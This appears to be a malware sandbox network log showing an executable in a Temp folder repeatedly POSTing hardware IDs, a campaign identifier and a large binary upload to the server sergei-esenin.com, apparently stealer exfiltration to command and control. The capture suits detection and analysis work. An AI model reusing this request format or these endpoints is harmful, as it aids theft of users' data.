Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50052	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:49 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 16:09:49 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:49 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 16:09:49 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l3sro3pdpjr3l54tr0raumbosa; expires=Mon, 17 Feb 2025 09:56:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8uo%2B92%2FmPMSB7%2FtW%2FWFKo5hsGA1H0YiGwUuoAeIJsgN0aHmlndXK7DN0jW9XavRBUWJrdypv4NBWsvDGbIx3vyr1nEWRuKiKsI4T4PpPJZq4GYersG4RqSSS%2BpnzGxXyIsO4dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3bc42ac66b42-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2308&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21020&delivery_rate=1274647&cwnd=234&unsent_bytes=0&cid=d686d47dcb7a35a5&ts=571&x=0"
2024-10-24 16:09:49 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50056	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:53 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1271 Host: sergei-esenin.com
2024-10-24 16:09:53 UTC	1271	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:53 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fskrbirgb2jk31gb2jljtokbil; expires=Mon, 17 Feb 2025 09:56:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qjNy%2FptdMHZTgMlyMMA7RmEdTlddCOBU7LfEbfckUL9OqWrP7bOE8lfHuj1omsFaKw0Ic%2BF0Rcl%2BsGZlHM2vXgusGkxvinS6mHW7VIksL47zuvhYP2%2Bsv2hrrlRfMu50PNrF0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3bdd7d1d4539-ATL alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18204&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2278&delivery_rate=164060&cwnd=32&unsent_bytes=0&cid=d8021cf6c781ed6b&ts=401&x=0"
2024-10-24 16:09:53 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 16:09:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50058	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:56 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 581521 Host: sergei-esenin.com
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"B7E07B8EE60D2CFC067A49FF382A23CE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: cf ac f8 95 a7 2a b1 cb 98 7d fb 96 39 33 e0 c5 7c e7 21 74 d4 b9 46 23 d0 d6 a6 9c 41 d5 9a 92 74 2a 3b 98 06 54 14 79 04 c5 e4 a6 97 97 a4 5b 91 54 cf 5a 44 b0 77 a7 17 1b 1f 3e 54 44 b9 bf 77 f7 ed 8b a4 cb b5 27 68 c9 30 7f b1 40 97 d2 bf de 2f ce 52 4c 03 d5 7f 7b 28 34 0c 39 1f 5b ec 1c 71 7d 1a ed 9b e8 4e 0f 5f d7 2e e9 60 2d c6 03 dd 8c d1 dc 65 0e 01 07 ad 10 50 ae 82 94 28 13 7d f7 a1 47 1e 7a 2d a5 dd b5 66 f8 4c 14 d9 be 2b 67 c9 01 45 9e 47 75 c7 2b d3 1c 45 fb 92 b4 78 5c 0b 4d 46 2c 8a e3 59 5f a7 c7 c5 3d 72 94 b4 62 03 60 5f 1f 54 e3 86 59 36 5e 75 20 3f 35 55 8d b3 72 61 38 1c 73 97 7b 57 cf e9 34 3f 14 77 ff bc b9 3b ea 56 52 ab 24 ba 97 a0 32 14 89 54 65 ae c1 aa 9b 05 20 f9 7f 5f 78 c0 f8 66 26 a6 ce b7 93 b7 8b 91 65 18 04 65 57 72 Data Ascii: }93\|!tF#At;Ty[TZDw>TDw'h0@/RL{(49[q}N_.`-eP(}Gz-fL+gEGu+Ex\MF,Y_=rb`_TY6^u ?5Ura8s{W4?w;VR$2Te _xf&eeWr
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: 9c a5 e8 2a ab 68 88 59 65 39 5f 10 7f b7 d8 dd be 11 e7 aa 05 a9 b2 04 1a 55 a5 a3 3c b9 2f 6a 52 0a b0 5a c7 43 c6 6e 9c 9a 86 50 e0 28 23 bf 08 03 e7 48 37 9b e8 25 b1 bf 8d b5 a6 29 37 64 29 2d 93 78 5f 48 21 39 55 f5 7a 10 9f b7 fe 03 63 fd 79 14 a2 95 7d ae 67 c8 1a db 73 0b f5 cf b4 94 8d e4 c7 69 98 68 55 60 be 8e 37 cb 09 c0 d8 e1 73 bc b0 bd 55 54 c9 5f 48 7f 3d 63 28 eb fe 52 f6 f5 32 52 42 97 e5 86 22 b8 ff 6c 1e 29 dd 00 b3 00 f2 3d d5 2a 07 21 09 d0 3c ee fd 92 93 ee 87 4e e3 e3 1a c4 c1 bc e2 6a 7c 8f 08 e1 ab a0 b8 5d 3c cf d4 ea 24 29 1d 90 b1 b1 88 3e af 21 8d 2c 60 fb fa 7d c2 e2 de 53 dd ac f6 61 74 d7 1d 71 6f ee 6d fa b6 2b 44 48 16 01 0f 03 c3 8f d9 60 1a dd 28 b0 51 3c bf 51 6d 61 87 61 a3 be 12 66 4c e7 84 56 bc be c2 ed e5 d1 c9 Data Ascii: hYe9_U</jRZCnP(#H7%)7d)-x_H!9Uzcy}gsihU`7sUT_H=c(R2RB"l)=!<Nj\|]<$)>!,`}Satqom+DH`(Q<QmaafLV
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: c2 c8 fb ff 63 5b 88 01 b4 28 71 5e 10 85 80 8a ba 36 42 5a 77 94 d5 c4 ab aa 1a 41 d2 44 13 d7 db 5d bd 57 5c ad d3 1e 65 e6 ad 7a 4d 0d 0c 9f 2f 7d 06 57 d1 cd 03 b3 c6 c9 1c 63 6f 81 e4 11 db ea 85 53 31 ec fd 3b a1 61 7b b8 aa b0 10 17 05 c5 8c 47 ba c0 a5 1d 0e d8 c9 17 bc be 47 33 bf 90 1a 7f 6b 03 22 8c ed 2e 09 de 60 26 07 03 0e 24 9c d0 fd 23 f4 cf e8 9a ef 04 88 e3 38 bd f2 05 a2 00 ae fb fe 84 22 0c 8c 7c 36 05 c4 5e 1f d3 d3 41 5f 60 e4 d8 33 13 01 6b 4b 59 c1 a5 fb 47 ff 09 29 06 f6 e7 a7 8b 07 b3 8e 64 29 74 6b 80 e3 0f 9b 57 02 ca 56 e5 b3 ca 8e 10 07 6a 67 96 26 be e8 03 2c a5 9e fb 82 a7 d9 b5 c6 7c 8c d5 b8 d4 f8 bb ac 3d a5 e1 45 be e5 75 08 94 d2 4a e4 4f 73 32 d1 d4 b1 d1 d0 f7 2a 09 a7 9b 9b 48 8c ae e0 8f 30 62 6d 80 53 e2 8a 43 9b Data Ascii: c[(q^6BZwAD]W\ezM/}WcoS1;a{GG3k".`&$#8"\|6^A_`3kKYG)d)tkWVjg&,\|=EuJOs2*H0bmSC
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: 2f bc e7 41 c4 ae ce 23 b9 fb 70 a9 a8 58 25 d7 a5 cb c0 1c 58 e0 dc 26 2a 0e a1 22 8b 71 c7 c3 15 5d 9a ef c7 2f 51 db 71 86 17 c0 f7 a5 2c 42 47 dd 71 fa a5 d6 f0 40 3b 34 e6 ed 97 7e db 61 92 bf 71 46 1b 6f aa 2c e8 53 3a 9a 7a 0a 68 94 66 29 80 82 cc 17 a1 91 a8 97 69 39 2c a6 57 55 36 ee ed 1b 08 2b c3 0e 2e f1 54 4e 44 ba cd b7 35 f3 f7 6e dc 08 9e 70 dd 25 d9 77 cc a0 c0 ec 00 ee b5 02 01 f7 0e db 61 a2 8b 00 b0 96 6d 5e 60 f6 47 21 12 4e 4e a3 d6 7a 02 da 05 44 c4 8d 0c af be 15 9a 15 20 da 26 15 58 83 02 7b 57 a2 52 c6 55 32 d5 10 d7 a7 02 72 8f c8 14 ec 02 76 27 d2 08 a6 70 aa 09 99 90 dd 8b f1 aa f9 41 58 ed 8e 53 24 8a 0b f2 f1 5d 42 91 87 23 a8 4e 53 5c 93 9f 64 69 f1 5a e2 be d0 32 03 8c ae ff ad 37 47 b0 76 dc 3a 7e 93 cb 20 25 cb e4 27 78 Data Ascii: /A#pX%X&*"q]/Qq,BGq@;4~aqFo,S:zhf)i9,WU6+.TND5np%wam^`G!NNzD &X{WRU2rv'pAXS$]B#NS\diZ27Gv:~ %'x
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: 87 cd f7 65 5f 26 96 37 18 8d 8d 41 72 bd 37 d6 74 e7 dd a4 22 74 9d 5b 6a 0d bd 70 ab a7 68 28 82 af 7c 9e 49 6c 8c 96 89 e7 09 d3 e9 94 9a 93 fb 7d 27 7b 15 8b 5f 15 09 4e f9 a0 b9 c6 b8 be 95 04 f0 f6 c6 fb ee d3 ca dd 2d a7 82 53 00 48 90 95 19 bb 38 9b 56 8c ef 0b ca 76 b5 1a e3 39 a4 d5 e4 17 c0 52 e2 93 79 b8 af 40 8b 73 53 27 19 65 e0 05 4a b7 1b 5d 67 cf 9d 61 36 ac 1d b4 f3 bc 6b 8c df 1c 7f 5f f4 a1 ba 13 72 47 34 0f 7a 78 2b ba 3d f1 3e 99 4e c2 cf e7 af 0e 57 54 ba b6 9a 1c 0b a7 8e fb ad 6c fe 7d fc 60 5c 85 6c 06 07 dc 67 30 d3 eb d3 d7 33 2b ec 34 c0 d2 23 5e 90 3f d8 ad ad be 56 cb df a5 3b bf d6 fc 4a d0 3c 74 b0 67 b2 99 1a b0 f9 9b 8d a6 e7 0f 6a 62 21 46 e2 45 66 90 f9 f6 de c2 7b f9 43 1b 15 e3 d1 da 54 e1 aa 35 66 72 2a 2f 01 cc 57 Data Ascii: e_&7Ar7t"t[jph(\|Il}'{_N-SH8Vv9Ry@sS'eJ]ga6k_rG4zx+=>NWTl}`\lg03+4#^?V;J<tgjb!FEf{CT5fr*/W
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: f8 fe 7f 43 59 4d a0 20 74 0e 44 61 22 5b bb 7f 1a 6e 3b 1d 7b ac 0a fe 0a cb d8 23 11 cd be f2 95 2c d7 47 ab 3f 62 68 e0 1d b2 57 7e fa 47 df e4 61 14 ec c2 34 7f 5c 02 e6 2c b7 1b 84 3a 9d 95 25 22 de 74 c1 76 f3 9e 76 00 46 8d ab 27 04 40 6a f4 fc 5d 0d 69 20 a6 0b 4c 41 6b 39 f0 10 37 1a 7e 44 af de db 77 91 2e 06 02 51 9c fe 30 3a 0a 48 dc c1 8d fd e0 59 f6 83 b0 ec 5f 10 43 84 fd 2c 3e 7f ff 42 d2 f8 f6 11 32 88 5e 99 9d 8f 85 cb e5 6e a0 ec 80 bb 6c 98 18 b0 cb ce 2a 68 6d c6 5f 8a 8c 2f c7 7a 9d 7c da e6 a8 3f 67 39 52 1d 73 73 92 a7 43 12 96 12 da 23 f2 a7 37 85 a9 41 d8 2c d9 6e d3 99 21 27 8a 8a 84 c3 3d d1 e7 01 1e 62 9f 96 c2 72 11 0c 00 6d e8 30 2a f7 20 45 f4 55 b5 9f 65 c4 ae 11 ae 8e 27 ce b1 e1 98 68 1e 81 bb 7f be 1b fd d1 6d c6 fe e1 Data Ascii: CYM tDa"[n;{#,G?bhW~Ga4\,:%"tvvF'@j]i LAk97~Dw.Q0:HY_C,>B2^nlhm_/z\|?g9RssC#7A,n!'=brm0 EUe'hm
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: 7b e3 81 0a 06 3b 44 33 9c 9f e1 51 25 67 63 7e d4 82 28 d3 ae f2 29 8f 4f 97 d0 36 de 37 d4 7d a2 39 cf 94 97 4e ef 12 26 33 1c 22 83 51 9b 60 e3 da 52 e7 c6 ab f7 dc 5b 2b e3 60 5a 14 d8 5d d8 de a9 8c f8 83 ff a1 e1 b3 f9 80 e0 93 cf 07 de ef 41 23 ee 09 48 99 04 05 b2 f8 69 6e 90 76 21 86 fa 0a 82 2b e5 d4 40 77 c2 19 50 90 da ab 09 05 1d 52 2c 10 05 7f e4 fa e4 4e fa b8 0f 3b ef 07 8d 9b db fd d3 7a f1 29 67 78 e6 df d9 cd 2c c0 56 17 e9 ef f1 5c d8 e9 ab cb 36 99 ce 3c a8 de 6c f5 9a 74 51 d9 28 10 4e 88 94 4d 8d bc c7 b5 a3 e3 e8 27 e7 7d 93 12 7c 79 86 bc 2b fe 6f 89 88 c7 4f 3f 5b fc 54 80 fc 24 b2 95 ff 18 f1 18 38 86 a8 44 a7 bf 19 a1 bc 3f 68 07 77 ca 30 64 67 77 a0 ae 9d 8e 47 91 78 34 50 17 44 6a c7 ac fd d0 e7 66 00 d1 45 1e a1 9c 6b 3a 6a Data Ascii: {;D3Q%gc~()O67}9N&3"Q`R[+`Z]A#Hinv!+@wPR,N;z)gx,V\6<ltQ(NM'}\|y+oO?[T$8D?hw0dgwGx4PDjfEk:j
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: b4 f5 20 da df c5 61 d6 b0 40 ac 8b b0 d2 04 62 3c d7 bb 31 8a e5 da d1 a5 f1 68 05 a9 c5 5f 6e 60 ab fd 34 4c 6a 1f 5c 0a 37 2c 14 f0 b8 b7 10 0b 98 d8 a1 6f 2f ca 94 35 12 af af 16 50 12 60 aa b5 d1 89 30 9d 3e b4 a2 c6 00 b4 8c 3b 34 01 d0 ec 24 37 b6 2e 7f f7 5e 77 68 d2 f2 78 5c 7e 8e 5d ca 95 cf c5 cb 82 21 ad 93 a3 e1 27 17 1e bf db 8d 28 6b a9 bf 34 fa f9 56 ab e0 4b d4 e5 82 9b 0b ab 8b 64 22 72 e1 7f 8f 5a 96 21 17 9d fb b6 18 cd 72 47 c6 be 13 3e 5f fe 9c cd d3 7a 33 9a 93 f0 9d bd 31 9a 48 5b 51 64 ec 60 29 78 10 87 c7 26 67 29 c1 1f 54 18 ec 5f dc 38 74 5a 14 9c aa 26 66 9e b9 67 c2 f3 94 63 fd d0 94 17 9c 4c 3d 98 97 c3 b7 d0 b6 e8 e6 48 7d b3 55 12 3d bf fa 8a c0 9b 2c 7e e3 db 75 98 19 ad ee b1 e7 d5 c8 fb 2a 5b 44 f6 61 3b 0d ee 2f eb 30 Data Ascii: a@b<1h_n`4Lj\7,o/5P`0>;4$7.^whx\~]!'(k4VKd"rZ!rG>_z31H[Qd`)x&g)T_8tZ&fgcL=H}U=,~u*[Da;/0
2024-10-24 16:09:56 UTC	15331	OUT	Data Raw: db 47 7b b0 2c e8 1e 71 70 34 de 5e 1f 85 02 91 1e 73 93 99 a9 5f 0f 38 fa 9e 5e e3 94 86 ad 26 81 a6 c5 9b 62 03 ed 2f 61 23 a0 8d 40 0c cb e0 28 fa f6 77 54 3a 6f 2c ec 57 53 7a a2 90 0f cc e0 a0 32 aa 1d c5 7e 9c 8d f7 bb 66 5e 7f 71 db ff e4 85 e0 f3 57 da ec d5 b4 16 df 57 cd 42 97 ec ce 62 8d d2 0d 0a cf 95 0a 3f 98 2a 5b 35 78 ab 69 6b 2b ce 92 d5 dc c7 54 4a 77 bd 76 4a bb 4d ca e1 bc 14 9f 29 29 30 68 b9 2d 31 c6 e1 c3 9e 68 ba cf f2 ae f0 a0 77 0b 5b 10 f6 2a 3b 46 8b 66 2c 7a bf b6 68 e9 55 ba f9 b1 a1 41 74 eb b4 1c e2 5c 24 75 95 77 60 45 8a 32 8e a3 a5 1a 17 6d 16 e7 6e 14 7c 0b 48 a1 e8 73 ee bf 68 f6 c8 97 7b fe 3e 65 eb 36 3b 67 f4 43 b9 28 d7 eb 76 b9 4d 9d b4 f5 59 1b b3 f7 f4 9b a5 f3 b7 9b df bd 7a 1b 3a fd 28 a7 7d 25 44 70 91 d9 96 Data Ascii: G{,qp4^s_8^&b/a#@(wT:o,WSz2~f^qWWBb?[5xik+TJwvJM))0h-1hw[;Ff,zhUAt\$uw`E2mn\|Hsh{>e6;gC(vMYz:(}%Dp
2024-10-24 16:09:58 UTC	1023	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6rpnl8jicsg0l7hdr2rpek2fsj; expires=Mon, 17 Feb 2025 09:56:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RZpGe9wDAkz9e1GIFocEW1RbAWlm3V1Awt8QyahC6UvEtSZ5CFo1CyQnjIW2j%2BOZ3iNnRnfHTKxXI8PnF%2B7%2BvKgvQsmxbVG19nmvtPRvz1hlFKILSiZXZDVOQNCBi8n5BASBbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3befea1b0ba7-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&sent=236&recv=640&lost=0&retrans=0&sent_bytes=2845&recv_bytes=584180&delivery_rate=1708554&cwnd=249&unsent_bytes=0&cid=3dc40d32ff254fca&ts=1910&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50060	104.21.53.8	443	6764	C:\Users\user\AppData\Local\Temp\1001226001\26e226f915.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 16:09:58 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=DmaJN0UG_4fleNiJ6ivEATclXoC8SssrlhlA5JBTdIM-1729786180-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 16:09:58 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 42 37 45 30 37 42 38 45 45 36 30 44 32 43 46 43 30 36 37 41 34 39 46 46 33 38 32 41 32 33 43 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=B7E07B8EE60D2CFC067A49FF382A23CE
2024-10-24 16:09:59 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 16:09:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=to9kpgi6q09uvcgs1775vl87pr; expires=Mon, 17 Feb 2025 09:56:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lYkG1Kkc9Oq8av2bB5bXw9ZB%2Bikw3%2Fq4pjvFhYvOUhC7uqA3C%2BWJ52AcdOUy8zhrrQr1tiJHKhL10oesHWG6EwwGT8lFvsc7zckGHNODHI8smhIKtRuNNHLXHtOoUTRN%2BPtZow%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7b3bffcfdde9a4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1352&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1077&delivery_rate=2077474&cwnd=251&unsent_bytes=0&cid=49df79eb8a3e8b01&ts=579&x=0"
2024-10-24 16:09:59 UTC	299	IN	Data Raw: 31 32 34 0d 0a 6a 72 74 47 42 37 7a 4c 48 45 33 43 50 78 2b 55 58 51 65 6b 79 33 61 42 75 58 45 78 74 64 75 49 6f 7a 74 64 39 73 69 6e 36 2f 33 56 77 47 52 79 6e 76 45 2b 4a 62 5a 4c 62 36 34 42 4b 50 6a 6b 52 37 6d 4d 58 77 4f 45 37 71 61 53 43 6d 37 59 2b 5a 47 33 30 75 50 53 4b 47 4c 67 35 47 34 73 72 46 74 77 2b 58 4e 69 33 4b 35 55 72 5a 73 58 52 5a 66 68 75 49 38 5a 4f 4e 54 79 6c 35 62 52 39 5a 6b 7a 4a 59 62 70 64 44 6d 32 54 79 58 49 63 6c 75 4c 2b 6b 36 30 6c 30 4d 41 67 50 57 35 6b 67 68 7a 78 2f 37 37 78 49 37 36 33 69 64 71 34 4f 52 75 4c 4b 78 62 63 50 6c 7a 59 74 79 75 56 4b 32 62 46 30 57 58 34 62 69 50 47 54 6a 55 38 70 65 57 30 66 57 5a 4d 79 57 47 36 58 51 35 74 6b 38 6c 79 48 4a 62 69 2f 70 4f 74 4a 64 44 41 49 44 